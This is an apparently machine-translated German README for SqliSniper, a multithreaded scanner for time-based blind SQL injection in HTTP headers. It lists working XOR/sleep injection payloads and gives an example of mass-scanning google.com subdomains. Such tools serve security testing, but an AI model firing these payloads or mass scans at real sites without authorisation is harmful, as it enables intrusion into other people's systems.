Erweiterter zeitbasierter Blind-SQL-Injection-Fuzzer für HTTP-Header



SqliSniper ist ein robustes Python-Tool zur Erkennung zeitbasierter blinder SQL-Injektionen in HTTP-Anforderungsheadern. Es erhöht die Sicherheit Bewertung Prozess durch schnelles Scannen und Identifizieren von Potenzialen Schwachstellen Verwendung von Multithreading, um Geschwindigkeit und Effizienz zu gewährleisten. Im Gegensatz zu anderen Scannern ist SqliSniper darauf ausgelegt, Fehlalarme zu eliminieren und bei Erkennung mit der integrierten Discord-Benachrichtigungsfunktion Warnungen zu senden.

Hauptmerkmale

  • Zeitbasiertes Blind SQL Injektion Erkennung: Lokalisiert potenzielle SQL-Injection-Schwachstellen in HTTP-Headern.
  • Multithread-Scannen: Bietet schnellere Scanfunktionen durch gleichzeitige Verarbeitung.
  • Discord-Benachrichtigungen: Sendet Warnungen über den Discord-Webhook für erkannte Schwachstellen.
  • Falsch-positive Prüfungen: Implementiert eine Reaktionszeitanalyse, um zwischen echten positiven und falschen Alarmen zu unterscheiden.
  • Unterstützung für benutzerdefinierte Nutzdaten und Header: Ermöglicht Benutzern die Definition benutzerdefinierter Payloads und Header für gezieltes Scannen.

Installation

git clone https://github.com/danialhalo/SqliSniper.git
cd SqliSniper
chmod +x sqlisniper.py
pip3 install -r requirements.txt

Dadurch wird die Hilfe für das Tool angezeigt. Hier finden Sie alle unterstützten Optionen.

ubuntu:~/sqlisniper$ ./sqlisniper.py -h

███████╗ ██████╗ ██╗ ██╗ ███████╗███╗ ██╗██╗██████╗ ███████╗██████╗
██╔════╝██╔═══██╗██║ ██║ ██╔════╝████╗ ██║██║██╔══██╗██╔════╝██╔══██╗
██████╗██║ ██║██║ ██║ ███████╗██╔██╗ ██║██║██████╔╝█████╗ ██████╔╝
╚════██║██║▄▄ ██║██║ ██║ ╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝ ██╔══██╗
███████║╚██ ███╔╝███████╗██║ ███████║██║ ╚████║██║██║ ███████╗██║ ██║
╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝ ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝

-: By Muhammad Danial :-

usage: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PA YLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS]
[--threads THREADS]

Detect SQL injection by sending malicious queries

options:
-h, --help show this help message and exit
-u URL, --url URL Single URL for the target
-r URLS_FILE, --urls_file URLS_FILE
File containing a list of URLs
-p, --pipeline Read from pipeline
--proxy PROXY Proxy for intercepting requests (e.g., http://127.0.0.1:8080)
--payload PAYLOAD File containing malicious payloads (default is payloads.txt)
--single-payload SINGLE_PAYLOAD
Single payload for testing
--discord DISCORD Discord Webhook URL
--headers HEADERS File containing headers (default is headers.txt)
--threads THREADS Number of threads

Einzelner URL-Scan

Die URL kann mit bereitgestellt werden -u flag für den Single-Site-Scan

./sqlisniper.py -u http://example.com

Dateieingabe

Der -r flag Ermöglicht SqliSniper, eine Datei mit mehreren URLs zum gleichzeitigen Scannen zu lesen.

./sqlisniper.py -r url.txt

Weiterleitung von URLs

Der SqliSniper kann auch mit der Pipeline-Eingabe arbeiten -p flag

cat url.txt | ./sqlisniper.py -p

Die Pipeline-Funktion erleichtert die nahtlose Integration mit anderen Tools. Sie können beispielsweise Tools wie Subfinder und httpx verwenden und deren Ausgabe dann zum Massenscannen an SqliSniper weiterleiten.

subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p

Scannen mit benutzerdefinierten Nutzlasten

Standardmäßig verwendet der SqliSniper die Datei payloads.txt. Jedoch --payload flag kann zum Bereitstellen einer benutzerdefinierten Payload-Datei verwendet werden.

./sqlisniper.py -u http://example.com --payload mssql_payloads.txt

Stellen Sie bei der Verwendung der benutzerdefinierten Payload-Datei sicher, dass Sie die Ruhezeit durch ersetzen %__TIME_OUT__%. SqliSniper passt die Ruhezeit iterativ dynamisch an, um mögliche Fehlalarme zu verringern. Die Payload-Datei sollte so aussehen.

ubuntu:~/sqlisniper$ cat payloads.txt 
0\"XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR\"Z
"0"XOR(if(now()=sysdate()%2Csleep(%__TIME_OUT__%)%2C0))XOR"Z"
0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z

Scannen mit einzelnen Nutzlasten

Wenn Sie nur mit der einzelnen Nutzlast testen möchten --single-payload flag kann verwendet werden. Stellen Sie sicher, dass Sie die Schlafzeit durch ersetzen %__TIME_OUT__%

./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z"

Benutzerdefinierten Header scannen

Header werden zum Scannen in der Datei headers.txt gespeichert benutzerdefinierter Header Speichern Sie den benutzerdefinierten HTTP-Anforderungsheader in der Datei headers.txt.

ubuntu:~/sqlisniper$ cat headers.txt 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-For: 127.0.0.1

Senden von Discord-Benachrichtigungen

SqliSniper bietet auch Discord-Warnmeldungen und erweitert seine Funktionalität durch die Bereitstellung von Echtzeitwarnungen über Discord-Webhooks. Diese Funktion erweist sich bei groß angelegten Scans als unschätzbar wertvoll und ermöglicht sofortige Benachrichtigungen bei Erkennung.

./sqlisniper.py -r url.txt --discord <web_hookurl>

Multithreading

Threads können mit definiert werden --threads flag

 ./sqlisniper.py -r url.txt --threads 10

Notiz: Es ist wichtig, das zu berücksichtigen Die Verwendung einer höheren Anzahl von Threads kann zu potenziellen Fehlalarmen oder zum Übersehen gültiger Probleme führen. Aufgrund der Art der zeitbasierten SQL-Injection wird für eine genauere Erkennung die Verwendung eines niedrigeren Threads empfohlen.



Source link

Loading...